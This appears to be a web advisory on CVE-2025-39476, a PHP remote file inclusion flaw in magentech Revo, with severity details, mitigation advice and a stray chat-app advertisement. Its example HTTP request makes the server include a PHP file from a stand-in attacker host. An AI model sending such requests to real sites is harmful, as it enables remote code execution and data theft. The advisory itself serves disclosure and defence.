Overview
This report details a significant vulnerability, CVE-2025-39476, in magentech Revo. This vulnerability is of considerable concern due to the PHP Remote File Inclusion, potentially leading to system compromise or data leakage. It impacts all versions of Revo up to and including 4.0.26. Understanding this vulnerability is vital for organizations utilizing this software to ensure their cybersecurity measures are robust and up-to-date.
Vulnerability Summary
CVE ID: CVE-2025-39476
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
A new way to communicate
Ameeba Chat is built on encrypted identity, not personal profiles.
Message, call, share files, and coordinate with identities kept separate.
- • Encrypted identity
- • Ameeba Chat authenticates access
- • Aliases and categories
- • End-to-end encrypted chat, calls, and files
- • Secure notes for sensitive information
Private communication, rethought.
Product | Affected Versions
magentech Revo | All versions up to and including 4.0.26
How the Exploit Works
The vulnerability arises from an improper control of a filename for include/require statement in PHP Program. This issue allows an attacker to manipulate the file inclusion procedures in PHP to load remote files that contain malicious code. By exploiting this vulnerability, an attacker can execute arbitrary PHP code on the server, potentially leading to complete system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. In this case, the attacker includes a malicious PHP file from a remote server:
GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com
An attacker’s malicious_file.php could contain code intended to compromise the system or exfiltrate data.
Mitigation
To mitigate the risk associated with this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. As a temporary measure, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these measures are not a substitute for patching and updating the software.
